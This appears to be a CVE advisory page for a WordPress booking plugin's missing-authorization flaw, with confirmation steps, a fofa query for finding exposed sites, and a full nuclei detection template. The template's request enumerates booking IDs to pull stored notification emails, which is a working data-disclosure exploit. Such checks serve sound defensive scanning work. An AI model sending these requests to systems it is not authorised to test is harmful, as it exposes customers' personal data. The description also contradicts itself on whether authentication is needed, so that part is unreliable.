Browse / CVEs / CVE-2026-108123
CVE-2026-108123· wpbookingsystem / wp-booking-system· CWE-862
WP Booking System <= 2.1.0.3 - Unauthenticated Email Log Disclosure
highseverity
7.5CVSS score
1%likelihood of exploitation, next 30 days
64%of all CVEs are less likely
Readycheck to confirm it
WP Booking System – Booking Calendar plugin for WordPress <= 2.1.0.3 contains an authorization bypass caused by improper user authorization verification, letting unauthenticated attackers read stored notification emails exposing customer PII, exploit requires authenticated Subscriber-level user.
Impact
Attackers can access sensitive customer PII including names, emails, phone numbers, and booking details, compromising user privacy and data confidentiality.
Fix
Update to the latest version beyond 2.1.0.3.
How to confirm it
Send: GET /
Positive when: contains(body, "plugins/wp-booking-system")
Send: GET /wp-admin/admin-post.php?wpbs_action=email_logs&booking_id={{bid}}&email_log_id=0
Positive when: status_code == 200 and contains(body, "wpbs-table-first-row") and contains(body, "text-align:left")Run it with nuclei: nuclei -id CVE-2026-108123 -u <target>
The full check
id: CVE-2026-108123
info:
name: WP Booking System <= 2.1.0.3 - Unauthenticated Email Log Disclosure
author: 0x_Akoko
severity: high
description: |
WP Booking System – Booking Calendar plugin for WordPress <= 2.1.0.3 contains an authorization bypass caused by improper user authorization verification, letting unauthenticated attackers read stored notification emails exposing customer PII, exploit requires authenticated Subscriber-level user.
impact: |
Attackers can access sensitive customer PII including names, emails, phone numbers, and booking details, compromising user privacy and data confidentiality.
remediation: |
Update to the latest version beyond 2.1.0.3.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-booking-system/wp-booking-system-2103-missing-authorization-to-unauthenticated-email-log-disclosure
- https://plugins.trac.wordpress.org/changeset/3750085/wp-booking-system
- https://wordpress.org/plugins/wp-booking-system/
- https://nvd.nist.gov/vuln/detail/CVE-2026-108123
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-108123
epss-score: 0.01024
epss-percentile: 0.63806
cwe-id: CWE-862
metadata:
verified: true
max-request: 5
vendor: wpbookingsystem
product: wp-booking-system
fofa-query: body="/wp-content/plugins/wp-booking-system/"
tags: cve,cve2026,wordpress,wp-plugin,wp-booking-system,exposure,unauth,missing-auth
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains(body, "plugins/wp-booking-system")'
internal: true
- raw:
- |
GET /wp-admin/admin-post.php?wpbs_action=email_logs&booking_id={{bid}}&email_log_id=0 HTTP/1.1
Host: {{Hostname}}
payloads:
bid:
- 1
- 2
- 3
- 4
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "wpbs-table-first-row")'
- 'contains(body, "text-align:left")'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-booking-system/wp-booking-system-2103-missing-authorization-to-unauthenticated-email-log-disclosure
- https://plugins.trac.wordpress.org/changeset/3750085/wp-booking-system
- https://wordpress.org/plugins/wp-booking-system/
- https://nvd.nist.gov/vuln/detail/CVE-2026-108123
Use this check only on systems you are authorised to test. Where the data comes from